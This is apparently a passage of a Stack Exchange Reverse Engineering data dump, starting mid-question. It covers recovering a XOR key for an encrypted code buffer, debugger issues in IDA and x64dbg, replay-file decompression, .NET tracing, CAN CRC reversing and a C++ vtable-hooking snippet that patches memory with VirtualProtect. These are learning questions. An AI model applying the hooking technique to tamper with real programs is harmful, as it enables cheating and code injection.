0xB1, 0x0C, 0x5C, 0x2F, 0x21, 0x35, 0x89, 0xC6, 0x68, 0x2D,&#xA;0x54, 0x45, 0x24, 0x8B, 0xA3, 0x1E, 0x21, 0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x76, 0x46, 0x2D, 0x54,&#xA;0x21, 0x87, 0xCD, 0x12, 0x31, 0x21, 0x5C, 0x0F, 0xE7, 0xC6, 0x7D, 0x46, 0x46, 0x2D, 0x2D, 0x83,&#xA;0xC1, 0x7E, 0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x72, 0x4F, 0x46, 0x46, 0x58, 0x92, 0xC5, 0x74,&#xA;0x4D, 0x23, 0x31, 0x53, 0x9A, 0xAF, 0x17, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x72, 0x41, 0x4D,&#xA;0x23, 0x42, 0xE7, 0xDC, 0x17, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x6D, 0x45, 0x41, 0x4D, 0x4F,&#xA;0xF7, 0xA1, 0x66, 0x2F, 0x21, 0x46, 0x3A, 0x80, 0xC6, 0x16, 0x54, 0x45, 0x41, 0x39, 0xE5, 0xB1,&#xA;0x1D, 0x5C, 0x2F, 0x21, 0x2F, 0x89, 0xC6, 0x7B, 0x2D, 0x54, 0x45, 0x2E, 0x8B, 0xA3, 0x0F, 0x21,&#xA;0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x79, 0x46, 0x2D, 0x54, 0x65, 0x87, 0xCD, 0x63, 0x31, 0x21, 0x5C,&#xA;0x5B, 0xE7, 0xC6, 0x0E, 0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x0F, 0x23, 0x31, 0x21, 0x7C, 0xE9,&#xA;0xA1, 0x05, 0x4F, 0x46, 0x46, 0x49, 0x92, 0xC5, 0x05, 0x4D, 0x23, 0x31, 0x42, 0x9A, 0xAF, 0x64,&#xA;0x46, 0x4F, 0x46, 0x34, 0xEB, 0xD4, 0x03, 0x41, 0x4D, 0x23, 0x50, 0xE7, 0xDC, 0x68, 0x21, 0x46,&#xA;0x4F, 0x25, 0x80, 0xAD, 0x1C, 0x45, 0x41, 0x4D, 0x48, 0xF7, 0xA1, 0x15, 0x2F, 0x21, 0x46, 0x7D,&#xA;0x80, 0xC6, 0x67, 0x54, 0x45, 0x41, 0x7D, 0xE5, 0xB1, 0x6A, 0x5C, 0x2F, 0x21, 0x76, 0x89, 0xC6,&#xA;0x0A, 0x2D, 0x54, 0x45, 0x76, 0x8B, 0xA3, 0x7C, 0x21, 0x5C, 0x2F, 0x61, 0x80, 0xCF, 0x08, 0x46,&#xA;0x2D, 0x54, 0x22, 0x87, 0xCD, 0x6C, 0x31, 0x21, 0x5C, 0x42, 0xE7, 0xC6, 0x1F, 0x46, 0x46, 0x2D,&#xA;0x35, 0x83, 0xC1, 0x1C, 0x23, 0x31, 0x21, 0x35, 0xE9, 0xA1, 0x14, 0x4F, 0x46, 0x46, 0x41, 0x92,&#xA;0xC5, 0x12, 0x4D, 0x23, 0x31, 0x0F, 0x9A, 0xAF, 0x75, 0x46, 0x4F, 0x46, 0x25, 0xEB, 0xD4, 0x10,&#xA;0x41, 0x4D, 0x23, 0x5E, 0xE7, 0xDC, 0x79, 0x21, 0x46, 0x4F, 0x2B, 0x80, 0xAD, 0x03, 0x45, 0x41,&#xA;0x4D, 0x23, 0x59, 0x21, 0x5C, 0x2F, 0x21, 0x16, 0xCC, 0x86, 0x56, 0x7D, 0x3C, 0x45, 0x41, 0x4D,&#xA;0x23, 0x88, 0x05, 0x33, 0x6F, 0x21, 0xB9, 0x9E, 0x85, 0x8D, 0x40, 0x00, 0x30, 0x74, 0x40, 0x00,&#xA;0x50, 0x73, 0x40, 0x00, 0x5C, 0x0F, 0x41, 0x00, 0x98, 0x73, 0x40, 0x00, 0x98, 0x72, 0x40, 0x00,&#xA;0x80, 0x74, 0x40, 0x00, 0xC0, 0x74, 0x40, 0x00, 0x28, 0x75, 0x40, 0x00, 0x0C, 0xD3, 0x41, 0x00,&#xA;0x34, 0x00, 0x46, 0x00, 0x50, 0x74, 0x40, 0x00, 0x94, 0xD3, 0x41, 0x00, 0xAC, 0xD3, 0x41, 0x00,&#xA;0x64, 0xD2, 0x41, 0x00, 0x28, 0x00, 0x46, 0x00, 0xD0, 0x73, 0x40, 0x00, 0xE4, 0xD2, 0x41, 0x00,&#xA;0x10, 0xE0, 0x45, 0x00, 0x38, 0x75, 0x40, 0x00, 0x44, 0x00, 0x46, 0x00, 0x08, 0x00, 0x46, 0x00,&#xA;0x2C, 0xD2, 0x41, 0x00, 0x8C, 0xD3, 0x41, 0x00, 0x10, 0x75, 0x40, 0x00, 0x7C, 0xD3, 0x41, 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon receiving user input, the program checks its length and if it's different than 15 it aborts execution. So I know for a fact that the key is 15 characters long, so far so good. After the decrypting the buffer the following sequence of comparations takes place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, [ebp+decrypted_buffer]&#xA;mov     [ebp+var_4], eax&#xA;mov     eax, [ebp+decrypted_buffer]&#xA;cmp     byte ptr [eax], 60h ; &#xA;jnz     short invalid_key&#xA;&#xA;mov     eax, [ebp+decrypted_buffer]&#xA;cmp     byte ptr [eax+4], 0D0h&#xA;jnz     short invalid_key&#xA;mov     eax, [ebp+decrypted_buffer]&#xA;cmp     byte ptr [eax+9], 0&#xA;jnz     short invalid_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the 1st, 5th and 10th bytes of the decrypted buffer are expected to be &lt;strong&gt;0x60, 0x0D0, 0x0&lt;/strong&gt; we can find the 1st, 5th and 9th bytes of the key, namely: &lt;strong&gt;0x2F, 0x46, 0x41&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the right key should be something like: &quot;/***F****A*******&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How do I find the rest of the key?&lt;/p&gt;&#xA;" OwnerUserId="27220" LastEditorUserId="14622" LastEditDate="2019-01-25T11:17:07.677" LastActivityDate="2021-10-01T08:41:17.177" Title="XOR encryption - How to find the key?" Tags="|binary-analysis|x86|encryption|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20463" PostTypeId="2" ParentId="20460" CreationDate="2019-01-24T21:53:50.937" Score="2" Body="&lt;p&gt;I think you mixed up segments and sections on ELF. Unlike PE where sections define how the application is mapped and page permissions, ELF loaders only use segments &lt;code&gt;PT_LOAD&lt;/code&gt; to do that. Segments don't have name, so there's nothing like &lt;code&gt;.rodata&lt;/code&gt; segment, only &lt;code&gt;.rodata&lt;/code&gt; section. You can verify that be setting 0x0 to the field &lt;code&gt;ElfN_Ehdr::e_shoff&lt;/code&gt;, it'll still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now regarding the initial question, it seems ELF executable used to have only two &lt;code&gt;PT_LOAD&lt;/code&gt; segments, one is &lt;code&gt;R-X&lt;/code&gt; and &lt;code&gt;RW-&lt;/code&gt;. If a data is const, it'll be stored inside the first segment which is also executable. It's not true anymore on my archlinux.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-24T21:53:50.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20464" PostTypeId="1" AcceptedAnswerId="20491" CreationDate="2019-01-25T02:19:13.127" Score="0" ViewCount="916" Body="&lt;p&gt;I am using IDA pro to follow along a youtube video of RE from OALabs. &lt;a href=&quot;https://www.youtube.com/watch?v=kdNQhfgoQoU&amp;amp;t=1575s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=kdNQhfgoQoU&amp;amp;t=1575s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am facing a problem when i try to put a break point on functions in ntdll, when i double click c:\windows\system32\ntdll.dll in the modules windows I get warning saying &quot;Module c:\windows\system32\ntdll.dll has no names&quot;. When i right click on c:\windows\system32\ntdll.dll in the modules window and select load debug symbols, it downloads something but I am still not able to see the functions i would like to put break point on like NtResumeThread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any assistance or suggestions. Pic&lt;a href=&quot;https://i.stack.imgur.com/cbBtJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cbBtJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; attached for reference.&lt;a href=&quot;https://i.stack.imgur.com/ZmShR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZmShR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27224" LastActivityDate="2019-01-28T10:47:51.593" Title="ida pro issue debugging issues with ntdll" Tags="|ida|malware|" AnswerCount="1" CommentCount="2" ClosedDate="2019-02-05T03:38:24.607" ContentLicense="CC BY-SA 4.0" />
  <row Id="20465" PostTypeId="2" ParentId="20461" CreationDate="2019-01-25T09:53:25.427" Score="2" Body="&lt;p&gt;You have to gather more &lt;strong&gt;constraints&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The key has to be 15 bytes long&lt;/li&gt;&#xA;&lt;li&gt;1st, 5th and 9th bytes of the decrypted buffer are expected to be 0x60, 0x0D0, 0x0&lt;/li&gt;&#xA;&lt;li&gt;The Block should be executable!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And you should start with the last one. I assume this is an x86 executable, so 0x60 would correspond to an &lt;code&gt;PUSHA&lt;/code&gt; instruction, which does does seem reasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could run a bruteforce with different keys and check if the result resolves to  valid assembler, for example utilizing a stream disassembler such as diStorm or even CPU enumation with tools such as Unicorn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you know 3 Bytes for sure, you have 12 bytes of entropy, resulting in 256^12 possible combinations to check. This is still too much, but you got even more information!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the xor key is repeated all 15 bytes, you already know 1/5 of all decrypted data. Have a look at it and try to see if you can make up reasonable contexts for it, such as common instruction sequences (prologes, epiloges, dataflow based).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when the 5th byte is supposed to be 0xd0, this would evalute to a kind of shift operation. it that reasonable? When yes, where does the data come from? Maybe the four bytes between could indicate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another point is the comment by sudhackar - What does the code do which yields the execution to this block? Which registers are set? Does it push a return location to the stack or is there a hard coded return location? Reversing this information would yield some bytes of the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just realized you have even more information. When you limit the xor key to the range of printable ASCII characters, they will have to be in a range ox 0x20 to 0x7e. Reducing the base problem to 94^12.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="14622" LastEditDate="2019-01-25T10:43:14.990" LastActivityDate="2019-01-25T10:43:14.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20466" PostTypeId="1" CreationDate="2019-01-25T11:17:52.600" Score="1" ViewCount="2318" Body="&lt;p&gt;Fortnite has a feature that records your gameplay and saves it as a .replay file, now I don't believe these files are encrypted, only compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find a way online to decompress such files and I'd like to know how, and if there's a possibility of decompressing then re-compressing the files again. &#xA;I'd like to also know if there's any suggestions to programs that does the job&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the beginning of the file in HexEditor&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QSe7w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QSe7w.png&quot; alt=&quot;hex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/file/xr3b5jn5ynareny/BR_ProfileGo.replay/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link for the file (mediafire)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some testing (replacing values and checking if anything changes) and found a few things:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SHr8R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHr8R.png&quot; alt=&quot;hex&quot;&gt;&lt;/a&gt;&#xA;(Not sure if they would be any useful but thought I'd still share)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm trying to end up with something like this &#xA;&lt;a href=&quot;https://i.stack.imgur.com/7VT60.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VT60.jpg&quot; alt=&quot;hex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27227" LastEditorUserId="27227" LastEditDate="2019-01-25T14:30:34.923" LastActivityDate="2019-11-02T05:11:53.957" Title="Decompressing a .replay file" Tags="|decompress|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20467" PostTypeId="2" ParentId="20466" CreationDate="2019-01-25T11:49:12.153" Score="1" Body="&lt;p&gt;This file does not seem encrypted (lots of ASCII).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is most likely based on the Unreal Engine 4's replay mechamisms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to its documentation, is describes a starting state as well as any changes to this state in chronological order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.unrealengine.com/en-us/Engine/Replay/Streamers#replaydataformat&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.unrealengine.com/en-us/Engine/Replay/Streamers#replaydataformat&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.unrealengine.com/en-us/Engine/Replay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.unrealengine.com/en-us/Engine/Replay&lt;/a&gt;&#xA;&lt;a href=&quot;https://wiki.unrealengine.com/Replay_System_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.unrealengine.com/Replay_System_Tutorial&lt;/a&gt;&#xA;&lt;a href=&quot;https://api.unrealengine.com/INT/Engine/Replay/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.unrealengine.com/INT/Engine/Replay/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the source code of UE4 is available online, you could have a look at the sections writing and parsing those replays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.unrealengine.com/en-US/ue4-on-github&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.unrealengine.com/en-US/ue4-on-github&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; What exactly do you want to extract from these replays? If you want to generate videos, I recommend capturing the parts you want with third party software.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2019-01-25T11:49:12.153" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20468" PostTypeId="1" CreationDate="2019-01-25T13:25:08.123" Score="1" ViewCount="1482" Body="&lt;p&gt;I am using x32dbg to debug a program. I want to find the line which corresponds to a pop up message in my program to put a Break point.&#xA;But everytime that I set &quot;Pause&quot; after the pop up window's opening the program stops in Kifastsystemcallret in ntdll module.&#xA;I succeed one time to set a Break point and to work it fine, but I can't do it anymore...&#xA;I don't understand...&#xA;Thanks for advance for answering and sorry for my bad english and capacities in debugging...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Crgig.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Crgig.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;Thanks for your answer... I've uploaded two photos... The first shows the call stacks ; the second the KiFastSystemCallRet... I don't know where down the line I will return.&#xA;I've tried to type all the expression adresses without any success...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/207vj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/207vj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26598" LastEditorUserId="18317" LastEditDate="2019-01-26T02:28:34.667" LastActivityDate="2020-06-19T04:08:01.000" Title="Debugger always paused in ntdll.Kifastsystemcallret" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20469" PostTypeId="2" ParentId="20468" CreationDate="2019-01-25T13:48:37.497" Score="1" Body="&lt;p&gt;when any app is performing a system call it is normal to pause on KiFastSystemCallRet  ( windbg callstack for 4 threads when application is paused windbg uses a seperate thread to breakin so the current thread is paused at DoDebugBreak &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:003&amp;gt; ~*k2&#xA;&#xA;   0  Id: da4.a8c Suspend: 1 Teb: 7ffdf000 Unfrozen&#xA;ChildEBP RetAddr&#xA;0019ead4 75c1cde0 ntdll!KiFastSystemCallRet&#xA;0019ead8 75c1ce13 USER32!NtUserGetMessage+0xc&#xA;&#xA;   1  Id: da4.a24 Suspend: 1 Teb: 7ffde000 Unfrozen&#xA;ChildEBP RetAddr&#xA;00b6fce8 77456a44 ntdll!KiFastSystemCallRet&#xA;00b6fcec 755e6a36 ntdll!NtWaitForMultipleObjects+0xc&#xA;&#xA;   2  Id: da4.ce8 Suspend: 1 Teb: 7ffdd000 Unfrozen&#xA;ChildEBP RetAddr&#xA;029ffec0 77456a44 ntdll!KiFastSystemCallRet&#xA;029ffec4 73e5a41c ntdll!NtWaitForMultipleObjects+0xc&#xA;&#xA;#  3  Id: da4.d8c Suspend: 1 Teb: 7ffdc000 Unfrozen&#xA;ChildEBP RetAddr&#xA;02b9f7f8 774af20f ntdll!DbgBreakPoint&#xA;02b9f828 75a1ed6c ntdll!DbgUiRemoteBreakin+0x3c&#xA;0:003&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a system call is a call which transitions from user mode to kernel mode   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using sysenter instruction normally   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you issue a pause (f12 , esc) and when paused in that function take a look at call stack to see where down the line you will return   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can type printstack in x64dbg commandline also to dump the call stack to log window)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;17 call stack frames (EIP = 774570F4 , ESP = 000AE8EC , EBP = 000AE8FC ):&#xA;000AE900 ntdll._KiFastSystemCallRet@0&#xA;000AE910 uxtheme.74371A62&#xA;000AE920 uxtheme.74371A2F&#xA;000AE970 uxtheme.74371D38&#xA;000AE98C uxtheme.74371F20&#xA;000AE9D4 user32._GetRealWindowOwner@4+78&#xA;000AEE60 calc.00F51F4F&#xA;000AEE8C user32._InternalCallWinProc@20+23&#xA;000AEF04 user32._UserCallWinProcCheckWow@32+B3&#xA;000AEF60 user32._DispatchClientMessage@20+4B&#xA;000AEF88 user32.___fnDWORD@4+24&#xA;000AEFD4 ntdll._KiUserCallbackDispatcher@12+2E&#xA;000AFD50 calc.00F51CBC&#xA;000AFDE0 calc.00F6219A&#xA;000AFDEC kernel32.75A1ED6C&#xA;000AFE2C ntdll.___RtlUserThreadStart@8+27&#xA;000AFE44 ntdll.__RtlUserThreadStart@8+1B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-01-25T13:53:51.243" LastActivityDate="2019-01-25T13:53:51.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20471" PostTypeId="2" ParentId="20447" CreationDate="2019-01-25T15:03:35.690" Score="1" Body="&lt;p&gt;Yes, you can actually debug remotely using 2 Virtual Machines as long as they have network connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just copy the server file in the dbgsrv folder from IDA directory and choose what type of architecture you will debug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aMPLa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMPLa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1w2pw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1w2pw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure you have to change the permission of the file to executable using chmod +x &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oZkcF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZkcF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GJcKY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GJcKY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-01-25T15:03:35.690" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20473" PostTypeId="1" AcceptedAnswerId="20479" CreationDate="2019-01-26T01:36:18.277" Score="0" ViewCount="760" Body="&lt;p&gt;How can I print the opcodes in a trace log?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use &lt;code&gt;{x:bswap([cip])}&lt;/code&gt; but this will print a fix amount of bytes (which most of the time will end up as either more or less number of bytes), regardless of the ones that the instruction does have&lt;/p&gt;&#xA;" OwnerUserId="18064" LastEditorUserId="18064" LastEditDate="2019-01-26T05:08:03.667" LastActivityDate="2019-01-27T09:39:26.630" Title="Print opcodes in trace - x64dbg" Tags="|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20477" PostTypeId="2" ParentId="20473" CreationDate="2019-01-26T17:29:26.330" Score="0" Body="&lt;p&gt;trace record log file already logs opcodes&lt;br&gt;&#xA;select the trace window&lt;br&gt;&#xA;select start run trace&lt;br&gt;&#xA;accept the file name&lt;br&gt;&#xA;and start tracing&lt;br&gt;&#xA;it will trace 50000 steps (default can be configured in preferences) and stop &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the format of trace file is documented so you can code some utility to parse it if you want &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cDDgg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cDDgg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-26T17:29:26.330" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20478" PostTypeId="1" CreationDate="2019-01-26T18:14:58.030" Score="1" ViewCount="71" Body="&lt;p&gt;Is there a tool which can profile the .NET binaries (32-bit and 64-bit) during execution to generate an API trace providing details of the methods called and the parameters passed to each method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since .NET is JIT based, I think it should be feasible to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An API trace in the following format would be desirable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Address 1&amp;gt; &amp;lt;Method 1&amp;gt; &amp;lt;Parameter 1, Parameter 2&amp;gt;&#xA;&amp;lt;Address 2&amp;gt; &amp;lt;Method 2&amp;gt; &amp;lt;Parameter 1, Parameter 2&amp;gt;&#xA;....&#xA;&amp;lt;Address N&amp;gt; &amp;lt;Method N&amp;gt; &amp;lt;Parameter 1, Parameter 2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And an extension of this question. Is there a tool which can provide the similar information for each Windows API called by the .NET Binary as well?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2019-01-26T18:14:58.030" Title=".NET Method Tracing with Parameters" Tags="|.net|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20479" PostTypeId="2" ParentId="20473" CreationDate="2019-01-27T09:39:26.630" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;{mem;dis.len(cip)@cip}&lt;/code&gt;. See &lt;a href=&quot;http://help.x64dbg.com/en/latest/introduction/Formatting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://help.x64dbg.com/en/latest/introduction/Formatting.html&lt;/a&gt; for the relevant documentation.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-01-27T09:39:26.630" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20481" PostTypeId="1" AcceptedAnswerId="20499" CreationDate="2019-01-27T15:19:49.603" Score="1" ViewCount="143" Body="&lt;p&gt;&lt;strong&gt;Why does the function not get hooked when called with instance member obj.myFunc() ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Myclass&#xA;{&#xA;&#xA;public:&#xA;    virtual void myFunc() = 0;&#xA;&#xA;};&#xA;class Derived : public Myclass&#xA;{&#xA;public:&#xA;    void myFunc()&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Actual method is called&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;};&#xA;&#xA;    void __fastcall hk_myFunc(void* thisPtr, int edx)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Hooked method is called&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;typedef void(__thiscall *fPtr)();&#xA;&#xA;int main()&#xA;{&#xA;    Derived* ptr = new Derived();&#xA;    ptr-&amp;gt;myFunc();// Output : Actual method is called.&#xA;    void** vTPtr = *(reinterpret_cast&amp;lt;void ***&amp;gt;(ptr));&#xA;    DWORD oldProtection;&#xA;    VirtualProtect(vTPtr, 4, PAGE_EXECUTE_READWRITE, &amp;amp;oldProtection);&#xA;    *vTPtr = reinterpret_cast&amp;lt;fPtr&amp;gt;(&amp;amp;hk_myFunc);&#xA;    VirtualProtect(vTPtr, 4, oldProtection, 0);&#xA;    ptr-&amp;gt;myFunc(); //Output: Hooked method is called&#xA;    Derived obj = *ptr;&#xA;    obj.myFunc(); // Output : Actual method is called. Why ??&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27250" LastActivityDate="2019-01-30T05:40:24.457" Title="Why does vmt hooking not work with instance member in the following case?" Tags="|function-hooking|hooking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20484" PostTypeId="1" AcceptedAnswerId="20485" CreationDate="2019-01-27T19:59:54.380" Score="3" ViewCount="2026" Body="&lt;p&gt;I am creating a CAN Bus on-bench testing solution which replicates the entire vehicle to test a single module. I have a number of messages that require a CRC byte in order to be valid. The messages are in little-endian byte order, and the CRC value is held in byte 0. I have collected valid messages with a changing 4 bit alive-counter along with their CRC byte with the hope someone can help. I have tried CRC reveng, but either do not know hot to use it correctly or it is unable to find the polynomial, as it shows &quot;No models found&quot; when searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I found documentation that suggests the polynomial used is the standard SAE J1850 CRC8 polynomial x^8 + x^4 + x^3 + x^2 + 1, with a CRC-ID in decimal of 166 (stated as used for the low byte). I have also tried with the online calculator available here: &lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&lt;/a&gt;, but cannot get the correct result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could provide some assistance, I would greatly appreciate it. I would like help in clarifying the correct polynomial, along with any other relevant parameters. Here are a list of values captured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2mjtt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;CRC in Byte0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the text version of above. I've separated the CRC value in byte 0 from the rest of the message for clarity.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;57   0000C0F0C1FFFF&#xA;0A   0100C0F0C1FFFF&#xA;ED   0200C0F0C1FFFF&#xA;B0   0300C0F0C1FFFF&#xA;3E   0400C0F0C1FFFF&#xA;63   0500C0F0C1FFFF&#xA;84   0600C0F0C1FFFF&#xA;D9   0700C0F0C1FFFF&#xA;85   0800C0F0C1FFFF&#xA;D8   0900C0F0C1FFFF&#xA;3F   0A00C0F0C1FFFF&#xA;62   0B00C0F0C1FFFF&#xA;EC   0C00C0F0C1FFFF&#xA;B1   0D00C0F0C1FFFF&#xA;56   